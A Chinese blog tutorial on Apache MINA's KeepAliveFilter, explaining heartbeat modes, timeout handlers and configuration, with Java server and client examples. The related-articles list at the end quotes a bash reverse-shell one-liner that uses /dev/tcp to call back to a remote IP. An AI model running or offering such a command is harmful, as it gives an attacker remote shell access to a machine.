Mina 系列(四)之KeepAliveFilter -- 心跳检测
Mina 系列(四)之KeepAliveFilter -- 心跳检测
摘要: 心跳协议,对基于CS模式的系统开发来说是一种比较常见与有效的连接检测方式,最近在用MINA框架,原本自己写了一个心跳协议实现,后来突然发现MINA本身带有这样一个心跳实现,感于对框架的小小崇拜,在实践的同时研究了一下!
MINA 本身提供了一个过滤器类: org.apache.mina.filter.keepalive.KeepAliveFilter,该过滤器用于在 IO 空闲的时候发送并且反馈心跳包(keep-alive request/response)。
KeepAliveFilter
KeepAliveFilter 构造器
public KeepAliveFilter(KeepAliveMessageFactory messageFactory, IdleStatus interestedIdleStatus,
KeepAliveRequestTimeoutHandler policy) {
this(messageFactory, interestedIdleStatus, policy, 60, 30);
}
KeepAvlieMessageFactory:该实例引用用于判断接受与发送的包是否是心跳包,以及心跳请求包的实现IdleStatus:该过滤器所关注的空闲状态,默认认为读取空闲。即当读取通道空闲的时候发送心跳包KeepAliveRequestTimeoutHandler:心跳包请求后超时无反馈情况下的处理机制,默认为 CLOSE,即关闭连接
首先需要实现接口 KeepAliveMessageFactory。该接口中的抽象方法有:
| Modifier and Type | Method and Description |
|---|---|
| Object | getRequest(IoSession session) |
| Returns | a (new) keep-alive request message. |
| Object | getResponse(IoSession session, Object request) |
| Returns | a (new) response message for the specified keep-alive request. |
| boolean | isRequest(IoSession session, Object message) Returns true if and only if the specified message is a keep-alive request message. |
| boolean | isResponse(IoSession session, Object message)Returns true if and only if the specified message is a keep-alive response message; |
一般来说心跳机制主要分为以下四类:
active 活跃型(活跃型心跳机制):当读取通道空闲的时候发送心跳请求,一旦该心跳请求被发送,那么需要在 keepAliveRequestTimeout 时间内接收到心跳反馈,否则 KeepAliveRequestTimeoutHandler 将会被调用,当一个心跳请求包被接受到后,那么心跳反馈也会立即发出。
KeepAliveMessageFactory 类的实现方法:
- getRequest(IoSession session) 必须反馈 non-null
- getResponse( IoSession session, Object request) 必须反馈 non-null
semi-active 半活跃型(半活跃型心跳机制):当读取通道空闲的时候发送心跳请求,然而并不在乎心跳反馈有没有,当一个心跳请求包被接收到后,那么心跳反馈也会立即发出。
KeepAliveMessageFactory 类的实现方法:
- getRequest(IoSession session) 必须反馈 non-null
- getResponse( IoSession session, Object request) 必须反馈 non-null
心跳包请求超时后的处理机制设置为 KeepAliveRequestTimeoutHandler.NOOP(不做任何处理),KeepAliveRequestTimeoutHandler.LOG(只输出警告信息不做其他处理)
passive 被动型(半活跃型心跳机制):当前 IO 不希望主动发送心跳请求,但是当接受到一个心跳请求后,那么该心跳反馈也会立即发出。
KeepAliveMessageFactory 类的实现方法:
- getRequest(IoSession session) 必须反馈 null
- getResponse( IoSession session, Object request) 必须反馈 non-null
deaf speaker 聋子型(聋子型心跳机制):当前IO会主动发送心跳请求,但是不想发送任何心跳反馈。
KeepAliveMessageFactory 类的实现方法:
- getRequest(IoSession session) 必须反馈 non-null
- getResponse( IoSession session, Object request) 必须反馈 null
心跳包请求超时后的处理机制设置为 KeepAliveRequestTimeoutHandler.DEAF_SPEAKER
sient-listener 持续监听型(持续监听型心跳机制):既不想发送心跳请求也不想发送心跳反馈。
KeepAliveMessageFactory 类的实现方法:
- getRequest(IoSession session) 必须反馈 null
- getResponse( IoSession session, Object request) 必须反馈 null
心跳包请求超时后的处理机制
接口 KeepAliveRequestTimeoutHandler,一般该处理主要是针对能够发送心跳请求的心跳机制。
- CLOSE: 关闭连接
- LOG:输出 警告信息
- NOOP:不做任何处理
- EXCEPTION:抛出异常
- DEAF_SPEAKER: 一个特殊的处理,停止当前过滤器对对心跳反馈监听,因此让过滤器丢失请求超时的侦测功能。(让其变成聋子)
- keepAliveRequestTimeout(KeepAliveFilter filter, IoSession session):自定义处理
KeepAliveFilter 配制
KeepAliveMessageFactoryImpl kamfi = new KeepAliveMessageFactoryImpl();
KeepAliveFilter kaf = new KeepAliveFilter(kamfi, IdleStatus.READER_IDLE, KeepAliveRequestTimeoutHandler.CLOSE);
// idle 事件回调
kaf.setForwardEvent(true);
// 心跳检测间隔时间
kaf.setRequestInterval(60);
// 心跳检测超时时间
kaf.setRequestTimeout(30);
setForwardEvent使用了 KeepAliveFilter 之后,IoHandlerAdapter 中的 sessionIdle 方法默认是不会再被调用的! 所以必须加入这句话 sessionIdle 才会被调用setRequestInterval设置心跳包请求时间间隔,其实对于被动型的心跳机制来说,设置心跳包请求间隔貌似是没有用的,因为它是不会发送心跳包的,但是它会触发 sessionIdle 事件, 我们利用该方法,可以来判断客户端是否在该时间间隔内没有发心跳包,一旦 sessionIdle 方法被调用,则认为 客户端丢失连接并将其踢出。因此其中参数 heartPeriod 其实就是服务器对于客户端的 IDLE 监控时间。默认 60 s。setRequestTimeout超时时间,如果当前发出一个心跳请求后需要反馈。默认 30 s
下面对客户端与服务端和分别举个例子
服务器
以被动型心跳机制为例,服务器在接受到客户端连接以后被动接受心跳请求,当在规定时间内没有收到客户端心跳请求时 将客户端连接关闭。
import org.apache.mina.core.service.IoAcceptor;
import org.apache.mina.core.service.IoHandlerAdapter;
import org.apache.mina.core.session.IdleStatus;
import org.apache.mina.core.session.IoSession;
import org.apache.mina.filter.codec.ProtocolCodecFilter;
import org.apache.mina.filter.codec.textline.TextLineCodecFactory;
import org.apache.mina.filter.keepalive.KeepAliveFilter;
import org.apache.mina.filter.keepalive.KeepAliveMessageFactory;
import org.apache.mina.filter.logging.LoggingFilter;
import org.apache.mina.transport.socket.nio.NioSocketAcceptor;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import java.io.IOException;
import java.net.InetSocketAddress;
public class Server {
private static final int PORT = 9123;
/** 30秒后超时 */
private static final int IDEL_TIMEOUT = 30;
/** 15秒发送一次心跳包 */
private static final int HEART_BEAT_RATE = 15;
/** 心跳包内容 */
private static final String HEART_BEAT_REQUEST = "0x11";
private static final String HEART_BEAT_RESPONSE = "0x12";
private static final Logger LOG = LoggerFactory.getLogger(Server.class);
public static void main(String[] args) throws IOException {
IoAcceptor acceptor = new NioSocketAcceptor();
acceptor.getSessionConfig().setReadBufferSize(1024);
acceptor.getSessionConfig().setIdleTime(IdleStatus.BOTH_IDLE, IDEL_TIMEOUT);
acceptor.getFilterChain().addLast("logger", new LoggingFilter());
acceptor.getFilterChain().addLast(
"codec",
new ProtocolCodecFilter(new TextLineCodecFactory()));
KeepAliveMessageFactory heartBeatFactory = new KeepAliveMessageFactoryImpl();
KeepAliveFilter heartBeat = new KeepAliveFilter(heartBeatFactory, IdleStatus.BOTH_IDLE);
// 设置是否forward到下一个filter
heartBeat.setForwardEvent(true);
// 设置心跳频率
heartBeat.setRequestInterval(HEART_BEAT_RATE);
acceptor.getFilterChain().addLast("heartbeat", heartBeat);
acceptor.setHandler(new IoHandlerAdapter());
acceptor.bind(new InetSocketAddress(PORT));
System.out.println("Server started on port: " + PORT);
}
/**
* 被动型心跳机制,服务器在接受到客户端连接以后被动接受心跳请求,当在规定时间内没有收到客户端心跳请求时将客户端连接关闭
* @ClassName KeepAliveMessageFactoryImpl
* @Description 内部类,实现 KeepAliveMessageFactory(心跳工厂)
*/
private static class KeepAliveMessageFactoryImpl implements KeepAliveMessageFactory {
/* 判断是否心跳请求包,是的话返回true */
@Override
public boolean isRequest(IoSession session, Object message) {
LOG.info("请求心跳包信息: " + message);
return message.equals(HEART_BEAT_REQUEST);
}
/* 由于被动型心跳机制,没有请求当然也就不关注反馈,因此直接返回 false */
@Override
public boolean isResponse(IoSession session, Object message) {
return false;
}
/* 被动型心跳机制无请求,因此直接返回 null */
@Override
public Object getRequest(IoSession session) {
return null;
}
/* 根据心跳请求 request,反回一个心跳反馈消息 non-null */
@Override
public Object getResponse(IoSession session, Object request) {
LOG.info("响应预设信息: " + HEART_BEAT_RESPONSE);
return HEART_BEAT_RESPONSE;
}
}
}
客户端
客户端会定时发送心跳请求(注意定时时间必须小于,服务器端的IDLE监控时间),同时需要监听心跳反馈,以此来判断是否与服务器丢失连接。对于服务器的心跳请求不给与反馈。
import org.apache.mina.core.service.IoAcceptor;
import org.apache.mina.core.service.IoConnector;
import org.apache.mina.core.service.IoHandlerAdapter;
import org.apache.mina.core.session.IdleStatus;
import org.apache.mina.core.session.IoSession;
import org.apache.mina.filter.codec.ProtocolCodecFilter;
import org.apache.mina.filter.codec.textline.TextLineCodecFactory;
import org.apache.mina.filter.keepalive.KeepAliveFilter;
import org.apache.mina.filter.keepalive.KeepAliveMessageFactory;
import org.apache.mina.filter.logging.LoggingFilter;
import org.apache.mina.transport.socket.nio.NioSocketAcceptor;
import org.apache.mina.transport.socket.nio.NioSocketConnector;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import java.io.IOException;
import java.net.InetSocketAddress;
public class Client {
private static final int PORT = 9123;
/** 30秒后超时 */
private static final int IDEL_TIMEOUT = 30;
/** 15秒发送一次心跳包 */
private static final int HEART_BEAT_RATE = 15;
/** 心跳包内容 */
private static final String HEART_BEAT_REQUEST = "0x11";
private static final String HEART_BEAT_RESPONSE = "0x12";
private static final Logger LOG = LoggerFactory.getLogger(Client.class);
public static void main(String[] args) throws IOException {
IoConnector connector = new NioSocketConnector();
connector.getSessionConfig().setReadBufferSize(1024);
connector.getSessionConfig().setIdleTime(IdleStatus.BOTH_IDLE, IDEL_TIMEOUT);
connector.getFilterChain().addLast("logger", new LoggingFilter());
connector.getFilterChain().addLast(
"codec",
new ProtocolCodecFilter(new TextLineCodecFactory()));
KeepAliveMessageFactory heartBeatFactory = new KeepAliveMessageFactoryImpl();
KeepAliveFilter heartBeat = new KeepAliveFilter(heartBeatFactory, IdleStatus.BOTH_IDLE);
// 设置是否forward到下一个filter
heartBeat.setForwardEvent(true);
// 设置心跳频率
heartBeat.setRequestInterval(HEART_BEAT_RATE);
connector.getFilterChain().addLast("heartbeat", heartBeat);
connector.setHandler(new IoHandlerAdapter());
connector.connect(new InetSocketAddress("127.0.0.1", PORT));
System.out.println("Server started on port: " + PORT);
}
/**
* 被动型心跳机制,服务器在接受到客户端连接以后被动接受心跳请求,当在规定时间内没有收到客户端心跳请求时将客户端连接关闭
* @ClassName KeepAliveMessageFactoryImpl
* @Description 内部类,实现KeepAliveMessageFactory(心跳工厂)
* @author cruise
*
*/
private static class KeepAliveMessageFactoryImpl implements KeepAliveMessageFactory {
/* 服务器不会给客户端发送请求包,因此不关注请求包,直接返回 false */
@Override
public boolean isRequest(IoSession session, Object message) {
return false;
}
/* 客户端关注请求反馈,因此判断 mesaage 是否是反馈包 */
@Override
public boolean isResponse(IoSession session, Object message) {
LOG.info("响应预设信息: " + message);
return message.equals(HEART_BEAT_RESPONSE);
}
/* 获取心跳请求包 non-null */
@Override
public Object getRequest(IoSession session) {
LOG.info("请求预设信息: " + HEART_BEAT_REQUEST);
return HEART_BEAT_REQUEST;
}
/* 服务器不会给客户端发送心跳请求,客户端当然也不用反馈,该方法返回 null */
@Override
public Object getResponse(IoSession session, Object request) {
return null;
}
}
}
Mina 系列(四)之KeepAliveFilter -- 心跳检测的更多相关文章
- [Swoole系列入门教程 3] 心跳检测
一.Swoole 的4大知识点: 1.TCP/UDP服务器 2.微服务 3.协程 二.同步与异步: 同步买奶茶:小明点单交钱,然后等着拿奶茶: 异步买奶茶:小明点单交钱,店员给小明一个小票,等小明奶茶 ...
- Python OpenCV4趣味应用系列(四)---颜色物体实时检测
今天,我们来实现一个视频实时检测颜色物体的小实例,视频中主要有三个颜色物体,我们只检测红色和绿色的球状物体,如下图所示: 第一步需要打开视频(或者摄像头): cap = cv2.VideoCaptur ...
- Mina 系列(二)之基础
Mina 系列(二)之基础 Mina 使用起来多么简洁方便呀,就是不具备 Java NIO 的基础,只要了解 Mina 常用的 API,就可以灵活使用并完成应用开发. 1. Mina 概述 首先,看 ...
- 基于MINA实现server端心跳检测(KeepAliveFilter)
MINA自带了对心跳协议的支持,可以对心跳做出细致的配置,本文在次基础上实现了server端对client端的心跳检测. 在开始之前先简单介绍下keepAlive的机制: 首先,需要搞清楚TCP ke ...
- Netty之心跳检测技术(四)
Netty之心跳检测技术(四) 一.简介 "心跳"听起来感觉很牛X的样子,其实只是一种检测端到端连接状态的技术.举个简单的"栗子",现有A.B两端已经互相连接, ...
- EF架构~通过EF6的DbCommand拦截器来实现数据库读写分离~再续~添加对各只读服务器的心跳检测
回到目录 上一讲中基本实现了对数据库的读写分离,而在选择只读数据库上只是随机选择,并没有去检测数据库服务器是否有效,如服务器挂了,SQL服务停了,端口被封了等等,而本讲主要对以上功能进行一个实现,并对 ...
- javacpp-opencv图像处理系列:国内车辆牌照检测识别系统(万份测试车牌识别准确率99.7%以上,单次平均耗时39ms)
javaCV图像处理系列: 一.javaCV图像处理之1:实时视频添加文字水印并截取视频图像保存成图片,实现文字水印的字体.位置.大小.粗度.翻转.平滑等操作 二.javaCV图像处理之2:实时视频添 ...
- 【Netty】利用Netty实现心跳检测和重连机制
一.前言 心跳机制是定时发送一个自定义的结构体(心跳包),让对方知道自己还活着,以确保连接的有效性的机制. 我们用到的很多框架都用到了心跳检测,比如服务注册到 Eureka Server 之后会维 ...
- Bing Maps进阶系列四:路由功能服务(RouteService)
Bing Maps进阶系列四:路由功能服务(RouteService) Bing Maps提供的路由功能服务(RouteService)可以实现多方位的计算地图上的路线指示,路径行程等功能,比如说实现 ...
随机推荐
- 技术思维VS管理思维
以下为技术思维与管理思维的不同 在日常的工作中,会出现身兼两职 开发和项目经理 的情况,在此就要学会游刃有余的切换角色,方能一人分身二角 角色转换本质上是思维转换.思维决定一个人的行为,项目经理不像项 ...
- 收集的一些python基础教学博客
=======python3学习链接======= Python 3 教程:http://www.runoob.com/python3/python3-tutorial.html 深入python3: ...
- 20165233 2017-2018-2 《Java程序设计》课程总结
20165233 2017-2018-2 课程总结 每周作业链接汇总 第0周 预备作业1 我期望的师生关系 预备作业2 学习基础和C语言基础调查 预备作业3 Linux安装及学习 第1周 第1周作业 ...
- C语言中字符串存储方法
众所周知,C语言中没有数据类型能够存储字符串, char数据类型仅仅能够存储一个字符的数据,那么在C语言中关于存储字符串这一难题我们改何去何从呢? 下面将详述相关的字符串存储方法; 1,使用字符数组存 ...
- 玩转laravel5.4的入门动作(一)
安装前 1 laravel是用composer来做的依赖关系,所以先下载composer 下载地址在这里https://getcomposer.org/download/ windows lin ...
- map模块使用方法
map指令使用ngx_http_map_module模块提供的.默认情况下,nginx有加载这个模块,除非人为的 --without-http_map_module.ngx_http_map_modu ...
- nc命令使用详解
反弹shell方法: 反弹端:bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 或 bash -i &> /dev/tcp/ ...
- ng2-file-upload 使用记录
最近这两周一直在修bug,修的很是痛苦,不过痛苦也是件好事,不然每天都是在做同样的事情,没有什么挑战,工作多无聊呀! 是吧. 大致说一下背景吧: 这个项目是两年前开新项目,到现在一直还在开发中,一直不 ...
- 使用python识别验证码
公司的登录注册等操作有验证码,测试环境可以让开发屏蔽掉验证码,但是如果到线上的话就要想办法识别验证码或必过验证码了. 识别验证码主要分为三部分,一.对验证码进行二值化.二.将二值化后的图片分割.三.进 ...
- Web标准:五、超链接伪类
Web标准:五.超链接伪类 知识点: 1.链接的四种样式 2.将链接转换为块状 3.用css制作按钮 4.首字下沉 1)链接的四种样式 超链接有四个伪类,分别是: a:link 未访问的链接 a: ...